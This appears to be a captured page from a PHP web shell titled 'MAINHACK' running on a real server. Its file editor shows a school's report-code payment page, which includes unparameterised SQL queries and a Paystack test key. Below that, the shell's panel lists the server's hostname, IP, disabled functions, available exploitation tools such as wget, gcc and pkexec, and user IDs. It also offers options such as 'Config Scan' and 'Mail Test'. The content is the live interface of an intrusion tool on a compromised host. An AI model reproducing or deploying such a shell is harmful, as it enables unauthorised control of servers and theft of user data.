[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: buyreportcode.php
<?php include("functions.php"); if(!isset($_SESSION['index_no78897498'])){ header("location:index"); } else { $stu_code = $_SESSION['index_no78897498']; $selectme = mysqli_query($new,"SELECT * FROM enrol_details WHERE index_no = '$stu_code'"); $getpay = mysqli_fetch_array($selectme); $myname = $getpay['student_name']; $classname = $getpay['classname']; $schoolID = $getpay['schoolID']; $access_code = $fetchsch['access_code']; $codeexpired = $fetchsch['codeexpired']; $today = date("Y-m-d"); // Redirect if access code is missing or expired if ($codeexpired < $today) { header("Location: veiwmyreport"); exit(); // Always exit after header redirect } $studentID = mysqli_query($new,"SELECT * FROM enrol_generic WHERE indexNo = '$stu_code'"); $stud = mysqli_fetch_array($studentID); $getschol = $stud['s_code']; $name = $stud['stud_name']; $programme = $stud['programme']; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Buy Report Code</title> <link rel="stylesheet" type="text/css" href="mybuycoder.css"> <script src="https://js.paystack.co/v1/inline.js"></script> </head> <body> <div class="container"> <h1>Student Details</h1> <p class="cost">Cost of the Code is GHC40.00</p> <p class="warning">Please verify that all details are correct before proceeding with payment. Codes purchased in error are non-refundable.</p> <form method="POST" id="paymentForm"> <div class="form-group"> <label for="fullName">Full Name</label> <input type="text" id="fullName" value="<?php echo $myname;?> [<?php echo $programme;?> - <?php echo $classname;?>]" readonly> </div> <div class="form-group"> <label for="email">Email Address <span>(You are strongly encouraged to provide your email address for easy access to your Access Code)</span></label> <input type="email" id="email" name="email" placeholder="Enter your email address"> <p class="note">The new Access Code will be sent to this email.</p> </div> <div class="form-group"> <label for="admissionNumber">School ID</label> <input type="text" id="admissionNumber" value="<?php echo $schoolID;?>" readonly> </div> <div class="form-group"> <label for="phone">Phone Number <span>(In case you don't receive your Access Code via SMS promptly, we recommend checking your email)</span></label> <input type="tel" id="phone" name="phone" placeholder="Enter your SMS phone number here"> <p class="note">The new Access Code will be sent to this phone number.</p> </div> <button type="button" onclick="payWithPaystack()">Pay Now</button> </form> </div> </body> </html> <script> function payWithPaystack() { const email = document.getElementById('email').value.replace(/\s+/g, ''); const phone = document.getElementById('phone').value.trim(); if (!email || !phone) { alert('Please enter both email and phone number.'); return; } const amount = 40 * 100; // Convert GHS to pesewas const ref = 'SHS_' + Math.floor(Math.random() * 1000000000 + 1); const handler = PaystackPop.setup({ key: 'pk_test_5bdc5a9fdba93040aa93ec1fd26bf3c9a5eb27f9', // Replace with your actual public key email: email, amount: amount, currency: 'GHS', ref: ref, callback: function(response) { // Redirect and pass email and phone as query parameters window.location.href = 'verifypayment?reference=' + response.reference + '&email=' + encodeURIComponent(email) + '&phone=' + encodeURIComponent(phone); }, onClose: function() { alert('Transaction was not completed, window closed.'); } }); handler.openIframe(); } </script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002